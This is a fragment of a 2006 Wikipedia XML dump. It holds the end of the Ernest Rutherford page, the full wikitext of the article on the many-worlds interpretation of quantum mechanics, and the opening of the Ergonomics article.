*[http://alsos.wlu.edu/qsearch.aspx?browse=people/Rutherford,+Ernest alsos.wlu.edu Bibliography for Ernest Rutherford]

[[Category:1871 births|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:1937 deaths|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Alumni of Trinity College, Cambridge|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Barons in the Peerage of the United Kingdom|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Fellows of the Royal Society|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
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[[Category:Members of the Privy Council|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Nelsonians|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:New Zealand chemists|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:New Zealand physicists|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Nobel Prize in Chemistry winners|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
[[Category:Nuclear physicists|Rutherford of Nelson, Ernest Rutherford, 1st Baron]]
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[[Category:Members of the Pontifical Academy of Sciences|Rutherford]]

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    </revision>
  </page>
  <page>
    <title>Many-worlds interpretation</title>
    <id>9604</id>
    <revision>
      <id>42128110</id>
      <timestamp>2006-03-04T00:26:02Z</timestamp>
      <contributor>
        <username>CSTAR</username>
        <id>61089</id>
      </contributor>
      <comment>Oops, my mistake--- clicked on wrong button. Rollback to Laplace's demon</comment>
      <text xml:space="preserve">{{TOCright}}
The '''many-worlds interpretation''' (or MWI) is an [[interpretation of quantum mechanics|interpretation]] of [[quantum mechanics]] that rejects the [[non-deterministic]] and [[irreversible]] [[wavefunction collapse]] associated with [[measurement]] in the [[Copenhagen interpretation]] in favor of a description in terms of [[quantum entanglement]] and [[reversible]] time evolution of states.  The phenomena associated with measurement are explained by [[decoherence]] which occurs when states interact with the environment.

== Outline ==

Although several versions of MWI have been proposed since Everett's original work,  they all share two key ideas. The first of these is the existence of a [[state function]] for the entire [[universe]] which obeys [[Schrödinger's equation]] for all [[time]] and for which there is no process of non-deterministic wavefunction collapse. The second idea is that the universal state is a [[quantum superposition]] of several, possibly  [[infinite]]ly many, states of identical non-communicating parallel universes. 

The ideas of MWI originated in [[Hugh Everett]]'s [[Princeton University|Princeton]] [[Ph. D.]] thesis, developed under his thesis advisor [[John Wheeler]], but the phrase &quot;many worlds&quot; is due to [[Bryce DeWitt]], who wrote more on the topic of Everett's original work. DeWitt's formulation has become so popular that many confuse it with Everett's original work.

MWI is one of many [[multiverse]] hypotheses in [[physics]] and [[philosophy]]. It is currently considered a mainstream interpretation along with the Copenhagen and [[consistent histories]] interpretations.

==Many worlds and the problem of interpretation ==

As with the other interpretations of quantum mechanics, the many-worlds interpretation is motivated by behavior that can be illustrated by the [[double-slit experiment]]. When [[photon|particles of light]] (or anything else) are passed through the double slit, a calculation assuming wave-like behavior of light is needed to identify where the particles are likely to be observed. Yet when the particles are observed, they appear as particles and not as non-localized waves. The [[Copenhagen interpretation]] of quantum mechanics proposed a process of &quot;[[wavefunction collapse|collapse]]&quot; from wave behavior to particle-like behavior to explain this phenomenon of observation.

By the time [[John von Neumann]] wrote his famous treatise ''Mathematische Grundlagen der Quantenmechanik'' in [[1932]], the phenomenon of &quot;wavefunction collapse&quot; was accommodated into the [[mathematical formulation of quantum mechanics]] by postulating that there were two processes of wavefunction change:
# The discontinuous [[probability|probabilistic]] change brought about by observation and [[measurement]].
# The [[deterministic]] [[time evolution]] of an isolated system that obeys [[Schrödinger's equation]].

The phenomenon of wavefunction collapse for (1) proposed by the Copenhagen interpretation was widely regarded as artificial and ad-hoc, and consequently an alternative interpretation in which the behavior of measurement could be understood from more fundamental physical principles was considered desirable.

Everett's Ph. D. work was intended to  provide such an alternative interpretation. Everett proposed that for a composite system (for example that formed by a particle interacting with a measuring apparatus) the statement that a subsystem has a well-defined state is meaningless. This led Everett to suggest the notion of ''relativity of states'' of one subsystem relative to another.  

Everett's formalism for understanding the process of wavefunction collapse as a result of observation is mathematically equivalent to a quantum superposition of wavefunctions. Since Everett stopped doing research in theoretical physics shortly after obtaining his degree, much of the elaboration of his ideas was carried out by other researchers.

== Brief overview ==
In Everett's formulation, a measuring apparatus '''M''' and an object system '''S''' form a composite system, each of which prior to measurement exists in well-defined (but time-dependent) states. Measurement is regarded as causing '''M''' and '''S''' to interact. After '''S''' interacts with '''M''', it is no longer possible to describe either system  by an independent state.  According to Everett, the only meaningful descriptions of each system are relative states: for example the relative state of '''S''' given the state of '''M''' or the relative state of '''M'''  given the state of '''S'''. [[Image:Many-worlds-bloch.png|thumb|400px|Schematic representation of pair of &quot;smallest possible&quot; quantum mechanical systems prior to interaction : Measured system '''S''' and measurement apparatus '''M'''.  Systems such as '''S''' are referred to as 1-[[qubit]] systems.]] In DeWitt's formulation, the state of '''S''' after measurement is given by a quantum superposition of alternative histories of '''S'''.

For example, consider the smallest possible truly quantum system  '''S''', as shown in the illustration.  This describes for instance, the spin-state of an electron. Considering a specific axis (say the ''z''-axis) the north pole represents spin &quot;up&quot;   and the south pole,  spin &quot;down&quot;. The superposition states of the system are described by (the surface of) a sphere called the [[Bloch sphere]]. To perform a measurement on '''S''', it is made to interact with another similar system '''M'''.  After the interaction, the combined system is described by a state that ranges over a six-dimensional  space (the reason for the number six is explained in the article on the Bloch sphere).  This six-dimensional object can also be regarded as a quantum superposition of two &quot;alternative histories&quot; of the original system '''S''', one in which &quot;up&quot; was observed and the other in which &quot;down&quot; was observed. Each subsequent binary measurement (that is interaction with a system '''M''') causes a similar split in the history tree.  Thus after three measurements, the system can be regarded as a quantum superposition of 8= 2 &amp;times; 2 &amp;times; 2 copies of the original system '''S'''.  

The accepted terminology is somewhat misleading because it is incorrect to regard the universe as splitting at certain times; at any given instant there is one state in one universe. [[Image:Splittings-1.png|thumb|left|350px|Schematic illustration of splitting as a result of a repeated measurement.]]

== Relative state ==

The goal of the relative-state formalism, as originally proposed by Everett in his [[1957]] doctoral dissertation, was to interpret the effect of external observation entirely within the mathematical framework developed by [[Dirac]], [[von Neumann]] and others, discarding altogether  the ad-hoc mechanism of wave function collapse. Since Everett's original work, there have appeared a number of similar formalisms in the literature.  One such idea is discussed in the next section.  

From the relative-state formalism, we can obtain a relative-state interpretation by two assumptions. The first is that the wavefunction is not simply a description of the object's state, but that it actually is entirely equivalent to the object, a claim it has in common with other interpretations. The second is that observation has no special role, unlike in the [[Copenhagen interpretation]] which considers the wavefunction collapse as a special kind of event which occurs as a result of observation.  

The many-worlds interpretation is DeWitt's rendering of the relative state formalism (and interpretation). Everett referred to the system (such as an observer) as being split by an observation, each split corresponding to a possible outcome of an observation. These splits generate a possible tree as shown in the graphic below. Subsequently DeWitt introduced the term &quot;world&quot; to describe a complete measurement history of an observer, which corresponds roughly to a path starting at the root of that tree.  Note that &quot;splitting&quot; in this sense, is hardly new or even quantum mechanical. The idea of a space of complete alternative histories had already been used in the theory of probability since the mid 1930s for instance to model [[Brownian motion]]. The novelty in DeWitt's viewpoint was that the various complete alternative histories could be superposed to form new quantum mechanical states. [[Image:Many-worlds.png|thumb|300px| Partial trace as relative state. Light blue rectangle on upper left denotes system in pure state. Trellis shaded rectangle in upper right denotes a (possibly) mixed state.  Mixed state from observation is partial trace of a linear superposition of states as shown in lower left-hand corner.]] 

Under the many-worlds interpretation, the [[Schrödinger equation]] holds all the time everywhere. An observation or measurement of an object by an observer is modelled by applying the Schrödinger wave equation to the entire system comprising the observer ''and'' the object. One consequence is that every observation can be thought of as causing the universal wavefunction to change into a quantum superposition of  two or more non-interacting branches, or &quot;worlds&quot;. Since many observation-like events are constantly happening, there are an enormous number of simultaneously existing states.

If a system is composed of two or more subsystems, the system's state will be a superposition of products of the subsystems' states. Once the subsystems interact, their states are no longer independent. Each product of subsystem states in the overall superposition evolves over time independently of other products. The subsystems have become [[quantum entanglement|entangled]] and it is no longer possible to consider them independent of one another. Everett's term for this entanglement of subsystem states was a ''relative state'', since each subsystem must now be considered relative to the other subsystems with which it has interacted. [[Image:Paths-many-worlds.png|thumb|left|300px|Successive measurements with successive splittings]]

== Comparative properties and experimental support ==

One of the salient properties of the many-worlds interpretation is that observation does not require an exceptional construct (such as wave function collapse) to explain it. Many physicists, however, dislike the implication that there are infinitely many non-observable alternate universes.   

As of [[as of 2002|2002]], there were no practical experiments that would distinguish between many-worlds and Copenhagen, and in the absence of observational data, the choice is one of personal taste. However, one area of research is devising experiments which could distinguish between various interpretations of quantum mechanics, although there is  some skepticism  whether it is even meaningful to ask such a question.  Indeed, it can be argued that there is a mathematical equivalence between Copenhagen (as expressed for instance in a set of algorithms for manipulating density states) and many-worlds (which gives the same answers as Copenhagen using a more elaborate mathematical picture) which would seem to  make such an endeavor impossible.  However, this algorithmic equivalence may not be true on a cosmological scale. It has been proposed that in a world with infinite alternate universes, the universes which collapse would exist for a shorter time than universes which expand, and that would cause detectable probability differences between many-worlds and the Copenhagen interpretation.  

In the Copenhagen interpretation, the mathematics of quantum mechanics allows one to predict [[probability|probabilities]] for the occurrence of various events.  In the many-worlds interpretation, all these events occur simultaneously.  What meaning should be given to these probability calculations?  And why do we observe, in our history, that the events with a higher computed probability seem to have occurred more often?  One answer to these questions is to say that there is a [[probability measure]] on the space of all possible universes, where a possible universe is a complete path in the tree of branching universes. This is indeed what the calculations give.  Then we should expect to find ourselves in a universe with a relatively high probability rather than a relatively low probability: even though all outcomes of an experiment occur, they do not occur in an equal way.  

The many-worlds interpretation should not be confused with the [[many-minds interpretation|''many-minds'']] interpretation which postulates that it is only the observers' minds that split instead of the whole world.

== Everett's many-worlds interpretation and axiomatics ==

The existence of many worlds in superposition is not accomplished by introducing some new [[axiom]] to quantum mechanics, but on the contrary by ''removing'' the axiom of the collapse of the wave packet: All the possible consistent states of the measured system and the measuring apparatus (including the observer) are present in a ''real'' physical (not just formally mathematical, as in other interpretations) [[quantum superposition]]. (Such a superposition of consistent state combinations of different systems is called an [[entangled state]].)

Hartle (1968) showed that in Everett's relative-state theory, '''Born's probability law'''

:The probability of an [[observable]] &lt;math&gt;A&lt;/math&gt; to have the value &lt;math&gt;a&lt;/math&gt; in a normalized state &lt;math&gt;| \psi \rangle&lt;/math&gt; is the absolute square of the eigenvalue component of the state corresponding to the eigenvalue a: &lt;math&gt;P(a) = | \langle a | \psi \rangle |^2&lt;/math&gt;

no longer has to be considered an axiom or postulate. It can rather be derived from the other axioms of quantum mechanics. All that has to be assumed is that if the state &lt;math&gt;| \psi \rangle&lt;/math&gt; is an eigenstate &lt;math&gt; |a, i \rangle &lt;/math&gt; of the observable &lt;math&gt;A&lt;/math&gt;, then the result &lt;math&gt;a&lt;/math&gt; of the measurement is certain. This means that a ''second'' axiom of quantum mechanics can be removed.
Hartle's derivation only works in a theory (like Everett's) that does ''not'' cut away (&quot;collapse&quot;) any superposition components of the
wave function. In other interpretations it is not comprehensible why the absolute square is used and not some other arbitrary, more complicated expression of the eigenvalue component say, the square root or some polynomial of its norm.

The consequence is that Everett's concept is more than just an interpretation, it's rather an alternative formulation of [[quantum theory]] requiring fewer axioms.
 
One might argue that postulating the existence of many worlds is some kind of axiomatic assumption, but the concept of [[quantum superposition]]s is a common indispensable part of all interpretations of [[quantum theory]], as is most clearly illustrated in the [[path integral formulation]] of quantum mechanics. Everett's theory just considers it a real phenomenon in nature and applies it to macroscopic systems in the same way as  to microscopic systems.

== A simple example ==

We consider formally the example presented in the introduction.  Consider a pair of [[spin (physics)|spin 1/2]] [[particles]], A and B, in which we only consider the spin observable (in particular with their position information disregarded).  As an isolated system, particle A is described by a 2 dimensional  [[Hilbert space]] ''H''&lt;sub&gt;A&lt;/sub&gt;; similarly  particle B is described by a 2 dimensional  [[Hilbert space]] ''H''&lt;sub&gt;B&lt;/sub&gt;.  The composite system is described by the tensor product 

:&lt;math&gt; H_{\mathrm{A}} \otimes H_{\mathrm{B}} &lt;/math&gt; 

which is 2 x 2 dimensional. If A and B are non-interacting,  the set of  pure tensors

: &lt;math&gt; |\phi \rangle \otimes | \psi \rangle &lt;/math&gt; 

is [[invariant]] under time evolution; in fact, since we only consider the spin observables which for isolated particles are invariant, time has no effect prior to interaction. However, after interaction, the state of the composite system is a possibly [[quantum entanglement|entangled]] state, that is one which is no longer a pure tensor.  

The most general entangled state is  a sum

:&lt;math&gt; \Phi =  \sum_\ell | \phi_\ell \rangle \otimes | \psi_\ell \rangle &lt;/math&gt; 

To this state corresponds a linear operator  ''H''&lt;sub&gt;B&lt;/sub&gt; &amp;rarr; ''H''&lt;sub&gt;A&lt;/sub&gt;  which maps pure states to pure states. 

:&lt;math&gt; T_\Phi = \sum_\ell | \phi_\ell \rangle \otimes  \langle \psi_\ell |.&lt;/math&gt;

This mapping (essentially modulo normalization of states) is the '''relative state mapping''' defined by Everett, which associates a pure state of B  the corresponding relative (pure) state of A.  More precisely, there is a unique [[polar decomposition]] of
''T''&lt;sub&gt;&amp;Phi;&lt;/sub&gt; such that

: &lt;math&gt; T_\Phi = U S \quad &lt;/math&gt;

and U is an isometric map defined on some subspace of ''H''&lt;sub&gt;B&lt;/sub&gt;.  U is actually the relative state mapping.  See also [[Schmidt decomposition]].

Note that the density matrix of the composite system is [[pure state|pure]]. However, it is also possible to consider the [[reduced density matrix]] describing particle A alone by taking the [[partial trace]] over the states of particle B. This reduced density matrix, unlike the original matrix actually describes a [[mixed state]]. This particular example is the basis for the [[EPR paradox]].

The previous example easily generalizes to arbitrary systems A, B without any restriction on the dimension of the corresponding Hilbert spaces.  In general, the relative state is an isometric linear mapping defined on a subspace of ''H''&lt;sub&gt;B&lt;/sub&gt; with values in ''H''&lt;sub&gt;A&lt;/sub&gt;.

== Partial trace and relative state ==

The state transformation of a quantum  system resulting from  measurement, such as the double slit experiment discussed above, can be easily described mathematically in a way that is consistent with most [[mathematical formulation of quantum mechanics|mathematical formalisms]]. We will present one such description, also called reduced state, based on the [[partial trace]] concept,  which by a process of iteration, leads to a kind of branching many worlds ''formalism''. It is then a short step from this many worlds formalism to a many worlds ''interpretation''.

For definiteness, let us assume that system is actually a particle such as an electron.  The discussion of reduced state and many worlds is no different in this case than if we considered any other physical system, including an &quot;observer system&quot;.  In what follows,  we need to consider not only [[pure state]]s for the system, but more generally [[density matrix|mixed states]];   these are certain linear operators on the [[Hilbert space]] ''H'' describing the quantum system.  Indeed, as the various measurement scenarios point out, the set of pure states is not closed under measurement.  Mathematically,  density matrices are statistical mixtures of pure states.  [[operational definition|Operationally]] a mixed state can be identified to a [[statistical ensemble]] resulting from a specific lab preparation process.

=== Decohered states as relative states ===

Suppose we have an ensemble of particles, prepared in such a way that its state ''S'' is pure.  This means that there is a unit vector &amp;psi; in ''H'' (unique [[up to]] phase) such that  ''S'' is the operator given in
[[bra-ket]] notation by

:&lt;math&gt; S = | \psi \rangle \langle \psi | &lt;/math&gt;

Now consider an experimental setup to determine whether the particle has a particular property: For example the property could be that the location of the particle is in some region ''A'' of space. The experimental setup can be regarded either as a measurement of an observable or as a filter.   As a measurement, it measures the observable '''Q''' which takes the value 1 if the particle is found in ''A'' and 0 otherwise.  As a filter, it filters in those particles in the ensemble which have the stated property of being in ''A'' and filtering out the others.  

Mathematically, a property is given by a self-adjoint projection ''E'' on the Hilbert space ''H'': Applying the filter to an ensemble of particles, some of the particles of the ensemble are filtered in, and others are filtered out.  Now it can be shown that the operation of the filter &quot;collapses&quot; the pure state in the following sense: it prepares a new mixed state given by the density operator

:&lt;math&gt; S_1 = |E \psi \rangle \langle \psi E | + |F \psi \rangle \langle \psi F | &lt;/math&gt;

where ''F'' = 1 - ''E''.  

To see this, note that as a result of the measurement, the state of the particle immediately after the measurement is in an eigenvector of '''Q''', that is one of the two pure states 

:&lt;math&gt; \frac{1}{\|E \psi\|^2} | E \psi \rangle  \quad \mbox{ or } \quad \frac{1}{\|F \psi\|^2} | F \psi \rangle. &lt;/math&gt;

with respective probabilities 

:&lt;math&gt;  \|E \psi\|^2  \quad \mbox{ or } \quad \|F \psi\|^2. &lt;/math&gt;

The mathematical way of presenting this mixed state is by taking the following [[convex combination]] of pure states:

:&lt;math&gt; \|E \psi\|^2 \times \frac{1}{\|E \psi\|^2} | E \psi \rangle  \langle E \psi | +   \|F \psi\|^2  \times \frac{1}{\|F \psi\|^2}  | F \psi \rangle \langle F \psi |, &lt;/math&gt;

which is the operator ''S''&lt;sub&gt;1&lt;/sub&gt; above.

'''Remark'''. The use of the word ''collapse'' in this context is somewhat different that its use in explanations of the Copenhagen interpretation.  In this discussion we are not referring to collapse or transformation of a wave into something else, but rather the transformation of a pure state into a mixed one.

The considerations so far, are completely standard in most formalisms of quantum mechanics. Now consider a &quot;branched&quot; system whose underlying Hilbert space is

:&lt;math&gt; \tilde{H} = H \otimes H_2 \cong H \oplus H &lt;/math&gt;

where ''H''&lt;sub&gt;2&lt;/sub&gt; is a two-dimensional Hilbert space with basis vectors &lt;math&gt; | 0 \rangle &lt;/math&gt; and &lt;math&gt; | 1 \rangle &lt;/math&gt;.  The branched space can be regarded as a composite system consisting of the original system (which is now a subsystem) together with a non-interacting ancillary single [[qubit]] system. In the branched system, consider the entangled state

:&lt;math&gt; \phi = | E \psi  \rangle \otimes |  0 \rangle + | F \psi  \rangle  \otimes |  1 \rangle \in \tilde{H} &lt;/math&gt;

We can express this state in density matrix format as &lt;math&gt;  | \phi \rangle \langle \phi | &lt;/math&gt;. This multiplies out to:

:&lt;math&gt; \bigg( | E \psi \rangle \langle E \psi | \ \otimes \ |  0 \rangle \langle 0 |\bigg) \, + \, \bigg(| E \psi \rangle \langle F \psi | \ \otimes \ |  0 \rangle \langle 1 |\bigg)  \, + \, \bigg(| F \psi \rangle \langle E \psi | \ \otimes \ |  1 \rangle \langle 0 |\bigg) \, + \, \bigg(| F \psi \rangle \langle F \psi | \ \otimes \ |  1 \rangle \langle 1 | \bigg) &lt;/math&gt;

The [[partial trace]] of this mixed state is obtained by summing the operator coefficients of &lt;math&gt; |  0 \rangle \langle 0 | &lt;/math&gt; and &lt;math&gt; | 1 \rangle \langle 1 | &lt;/math&gt; in the above expression. This results in a mixed state on ''H''.  In fact, this mixed state is identical to the &quot;post filtering&quot;  mixed state ''S''&lt;sub&gt;1&lt;/sub&gt; above.  

To summarize, we have mathematically described the effect of the filter for a particle in a pure state &amp;psi; in the following way: 

* The original state is augmented with the ancillary qubit system. 

* The pure state of the original system is replaced with a pure entangled state of the augmented system and 

* The post-filter state of the system is the partial trace of the entangled state of the augmented system.

=== Multiple branching ===

In the course of a system's lifetime we expect many such filtering events to occur. At each such event, a branching occurs. In order for this  to be consistent with the branching structure as depicted in the illustration above, we must show that if a filtering event occurs in one path from the root node of the tree,  then we may assume it occurs in all branches.  This shows that the tree is highly symmetric, that is for each node ''n'' of the tree, the shape of the tree does not change by interchanging the subtrees immediately below that node ''n''.

In order to show this branching uniformity property, note that the same calculation carries through even if original state ''S'' is mixed.  Indeed, the post filtered state will be the density operator:

:&lt;math&gt; S_1 = E S E  + F S F  \quad &lt;/math&gt;

The state ''S''&lt;sub&gt;1&lt;/sub&gt; is the partial trace of 

:&lt;math&gt; \bigg( E S E \, \otimes \, | 0 \rangle \langle 0 |\bigg) + \bigg( E S F  \, \otimes \, |  0 \rangle \langle 1 |\bigg) + \bigg(F S E \, \otimes \, |  1 \rangle \langle 0 |\bigg) + \bigg(F S F \, \otimes \, |  1 \rangle \langle 1 |\bigg). &lt;/math&gt;

This means that to each subsequent measurement (or branching) along one of the paths from the root of the tree to a leaf node corresponds to a homologous branching along every path.  This guarantees the symmetry of the many-worlds tree relative to flipping child nodes of each node.[[Image:Path-integral-mwi.png|thumb|250px|Superposition over paths through observation tree]]

===  General quantum operations ===

In the previous two sections, we have represented measurement operations on quantum systems in terms of relative states. In fact there is a wider class of operations which should be considered: these are called [[quantum operation]]s.  Considered as operations on density operators on the system Hilbert space ''H'', these have the following form:

:&lt;math&gt; \gamma(S) = \sum_{i \in I} F_i S F_i^* &lt;/math&gt;

where ''I'' is a finite or countably infinite index set.  The operators ''F''&lt;sub&gt;''i''&lt;/sub&gt; are called '''Kraus operators'''. 

'''Theorem'''. Let 

:&lt;math&gt; \Phi(S) = \sum_{i,j} F_i S F_j^*  \, \otimes \,  |  i \rangle \langle j | &lt;/math&gt;

Then 

:&lt;math&gt; \gamma(S) = \operatorname{Tr}_H(\Phi(S)). &lt;/math&gt;

Moreover, the mapping ''V'' defined by

:&lt;math&gt;  V | \psi \rangle = \sum_\ell | F_\ell \psi \rangle \, \otimes \, | \ell \rangle  &lt;/math&gt;

is such that

:&lt;math&gt; \Phi(S) = V S V^* \quad &lt;/math&gt;

If &amp;gamma; is a trace-preserving quantum operation, then ''V'' is an isometric linear map

:&lt;math&gt; V : H \rightarrow H \otimes \ell^2(I) \cong H \oplus H \oplus \cdots \oplus H &lt;/math&gt;

where the Hilbert direct sum is taken over copies of ''H'' indexed by elements of  ''I''.  We can consider such maps &amp;Phi; as imbeddings. In particular:

'''Corollary'''. Any trace-preserving quantum operation is the composition of an isometric imbedding and a partial trace.

This suggests that the many worlds formalism can account for this very general class of transformations in exactly the same way that it does for simple measurements.

=== Branching ===

In general we can show the uniform branching property of the tree as follows: If

:&lt;math&gt;  \gamma(S) = \operatorname{Tr}_H V S V^* \quad  &lt;/math&gt;

and

:&lt;math&gt;  \delta(S) = \operatorname{Tr}_H W S W^*, \quad  &lt;/math&gt;

where 

:&lt;math&gt;  V | \psi \rangle = \sum_{\ell \in I}| F_\ell \psi \rangle \, \otimes \, | \ell \rangle  &lt;/math&gt;

and 

:&lt;math&gt;  W | \phi \rangle = \sum_{i \in J}| G_i  \phi \rangle \, \otimes \, | i \rangle  &lt;/math&gt;

then an easy calculation shows

:&lt;math&gt;  \delta \circ \gamma (S) = \operatorname{Tr}_H \bigg\{\bigg( W \otimes \operatorname{id}_{\ell^2(I)} \, \circ \,V \bigg) S \bigg( W \otimes \operatorname{id}_{\ell^2(I)} \, \circ \, V \bigg)^*\bigg\}. &lt;/math&gt;

This also shows that in between the measurements given by proper (that is, non-unitary) quantum operations, one can interpolate arbitrary unitary evolution.

== Acceptance of the many-worlds interpretation==

There is a wide range of claims that are considered &quot;many worlds&quot; interpretations. It is often noted (see the Barrett reference) that Everett himself was not entirely clear as to what he meant.  Moreover, popularizers have often used many-worlds to justifiy claims about the relationship between consciousness and the material world. Apart from these [[new-age|new-agey]] interpretations,  &quot;many world&quot;-like interpretations are now considered fairly mainstream.  

For example, a poll of 72 leading physicists conducted by the American researcher David Raub in [[1995]] and published in the French periodical ''[[Sciences et Avenir]]'' in January [[1998]] recorded that nearly 60% thought many worlds interpretation was &quot;true&quot;.  [[Max Tegmark]] (see reference to his web page below) also reports the result of a poll taken at a 1997 quantum mechanics workshop.   According to Tegmark, &quot;The many worlds interpretation (MWI) scored second, comfortably ahead of the [[consistent histories]] and Bohm interpretations.&quot; Other such unscientific polls have been taken at other conferences: see for instance [[Michael Nielsen]]'s blog [http://www.qinfo.org/people/nielsen/blog/archive/000060.html] report on one such poll.  Nielsen  remarks that it appeared most of the conference attendees &quot;thought the poll was a waste of time&quot;.

One of MWI's strongest advocates is [[David Deutsch]]. According to Deutsch the single photon interference pattern observed in the double slit experiment, can be explained by interference of photons in multiple universes.  Viewed in this way, the single photon interference experiment is indistinguishable from the multiple photon interference experiment. In a more practical vein, in one of the earliest papers on quantum computing (Deutsch 1985), he suggested that parallelism that results from the validity of MWI could lead to &quot;''a method by which certain probabilistic tasks can be performed faster by a universal quantum computer than by any classical restriction of it''&quot;.

[[Asher Peres]] was an outspoken critic of MWI, for example in a section in his [[1993]] textbook with the title ''Everett's interpretation and other bizarre theories''.  In fact, Peres questioned whether MWI is really an &quot;interpretation&quot; or even if interpretations of quantum mechanics are needed at all. Indeed, the many-worlds interpretation can be regarded as a purely formal transformation, which adds nothing to the instrumentalist (i.e. statistical) rules of the quantum mechanics. Perhaps more significantly, Peres seems to suggest that positing the existence of an infinite number of non-communicating parallel universes is scientifically unfriendly as it seems to violate [[Occam's Razor]]. 

MWI is considered by some to be unfalsifiable, because the multiple parallel universes are non-communicating in the sense that no information can be passed between them.  Moreover, it has also been noted (for instance by Peres himself) that polls regarding the acceptance of a particular interpretation within the scientific community, such as those mentioned above, cannot be used as evidence supporting a specific interpretation's validity.

== Many worlds in literature and science fiction ==

''Main article: [[Parallel universe (fiction)]]''

The many-worlds interpretation (and the unrelated concept of [[possible worlds]]) have been associated to numerous themes in [[literature]], [[art]] and [[science fiction]].

Aside from violating fundamental principles of causality and relativity, these stories are extremely misleading since the [[information theory|information-theoretic]] structure of the path space of multiple universes (that is information flow between different paths) is very likely extraordinarily complex.  Also see [[Michael Price]]'s [[FAQ]] referenced in the external links section below where these issues (and other similar ones) are dealt with more decisively.

Another kind of popular illustration of many worlds splittings, which does not involve information flow between paths, or information flow backwards in time considers alternate outcomes of historical events. From the point of view of quantum mechanics, these stories however are deficient for at least two reasons:
*There is nothing inherently quantum mechanical about branching descriptions of historical events. In fact, this kind of case-based analysis is a common planning technique and it can be analysed quantitatively by classical probability.
*The use of historical events complicates matters by introduction of an issue which is generally believed to be completely extraneous to quantum theory, namely the question of the nature of individual choice.

==Speculative implications of many worlds==

It has been controversially claimed that an interesting, but dangerous experiment would clearly differeniate between the many-worlds interpretation and other [[interpretations of quantum mechanics]]. It involves a [[quantum suicide]] machine and a physicist who cares enough about the issue to risk his own life. However, at best, this would only decide the issue for the brave physicist; bystanders would learn nothing.

The many-worlds interpretation has some similarity to [[modal realism]] in [[philosophy]], which is the view that the [[possible world]]s used to interpret modal claims actually exist.

==See also==

* [[multiverse]]
* [[quantum decoherence]]
* [[multiple histories]]
* [[many-minds interpretation]]

The following provide more speculative interpretations:

* [[quantum immortality]]
* [[holomovement]]

== External links==

* [http://arxiv.org/abs/gr-qc/9703089 Against Many-Worlds Interpretations]
* [http://plato.stanford.edu/entries/qm-everett/ Everett's Relative-State Formulation of Quantum Mechanics]
* [http://plato.stanford.edu/entries/qm-manyworlds/ Many-Worlds Interpretation of Quantum Mechanics]
* [http://www.hedweb.com/manworld.htm Michael Price's Everett FAQ]
* [http://www.hep.upenn.edu/~max/everett.html Max Tegmark's web page]
* [http://timetravelportal.com/viewtopic.php?t=288 Many Worlds &amp; Parallel Universes]
*[http://www.mth.kcl.ac.uk/~streater/lostcauses.html#XII Many Worlds is a  &quot;lost cause&quot;] according to R. F. Streater
*[http://www.sankey.ws/qm.html The many worlds of quantum mechanics]

== References ==
* [[Jeffrey A. Barrett]], ''The Quantum Mechanics of Minds and Worlds'', Oxford University Press, 1999.
* [[Hugh Everett]],  Relative State Formulation of Quantum Mechanics, ''Reviews of Modern Physics'' vol 29, (1957) pp 454-462.
* [[Christopher Fuchs]], Quantum Mechanics as Quantum Information (and only a little more), arXiv:quant-ph/0205039 v1, (2002)
* [[Bryce DeWitt]], [[R. Neill Graham]], eds, ''The Many-Worlds Interpretation of Quantum Mechanics'', Princeton Series in Physics, [[Princeton University Press]] (1973)
* [[Asher Peres]], ''Quantum Theory: Concepts and Methods'', Kluwer, Dordrecht, 1993.
* [[John Archibald Wheeler]],  Assessment of Everett's &quot;Relative State Formulation of Quantum Theory&quot;, ''Reviews of Modern Physics'', vol 29, (1957) pp 463-465
*[[David Deutsch]], ''The Fabric of Reality: The Science of Parallel Universes And Its Implications'',  Penguin Books (August 1, 1998), ISBN  014027541X. 
*[[David Deutsch]], Quantum theory, the Church-Turing principle and the universal quantum computer, ''Proceedings of the Royal Society of London A 400'', (1985) , pp. 97–117
*[[James Hartle]], Quantum Mechanics of Individual Systems, ''Amer. Jour. Phys.'', vol 36 (1968), # 8



[[Category:quantum measurement]]

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    <title>Ergonomics</title>
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      <text xml:space="preserve">{{mergefrom|Human factors}} 

'''Ergonomics''' (or human factors) is the scientific discipline concerned with the understanding of interactions among humans and other elements of a [[system]], and the profession that applies theory, principles, data, and methods to design in order to optimize human well-being and overall system performance (definition adopted by the International Ergonomics Association in [[2000]]).

Ergonomists contribute to the design and evaluation of tasks, jobs, products, environments and systems in order to make them compatible with the needs, abilities and limitations of people (IEA, 2000).


==Domains==

The IEA divides ergonomics broadly into three domains: 

'''Physical ergonomics''' deals with the human body's responses to [[physical]] and [[physiological]] loads. Relevant topics include manual materials handling, workstation layout, job demands, and risk factors such as [[repetition]], [[vibration]], [[force]] and awkward/static [[posture]] as they relate to musculoskeletal disorders (see [[repetitive strain injury]]). 

'''[[Cognitive ergonomics]]''', also known as engineering psychology, concerns mental processes such as [[perception]], [[attention]], [[cognition]], motor control, and [[memory]] storage and retrieval as they affect interactions among humans and other elements of a system. Relevant topics include mental workload, [[vigilance]], decision-making, skilled performance, human error, [[human-computer interaction]], and [[training]].

'''Organizational ergonomics''', or macroergonomics, is concerned with the optimization of sociotechnical systems, including their organizational structures, policies, and processes. Relevant topics include [[shift work]], scheduling, [[job satisfaction]], motivational theory, supervision, [[teamwork]], [[telework]] and [[ethics]].


==History==

Italian Bernardino Ramazinni ([[1633]]-[[1714]]) became the first physician to write about work-related injuries and illnesses in his [[1700]] publication, &quot;De Morbis Artificum (Diseases of Workers)&quot;.  Ramazinni was ostracized by his fellow doctors for visiting the workplaces of his patients in order to identify the causes of their disorders. The term ergonomics (from the Greek words ergon [work] and nomoi [natural laws]) first entered the modern lexicon when [[Wojciech Jastrzębowski]] used the word in his [[1857]] article Rys ergonomji czyli nauki o pracy, opartej na prawdach poczerpniętych z Nauki Przyrody (adapted from a previous version of this page). 

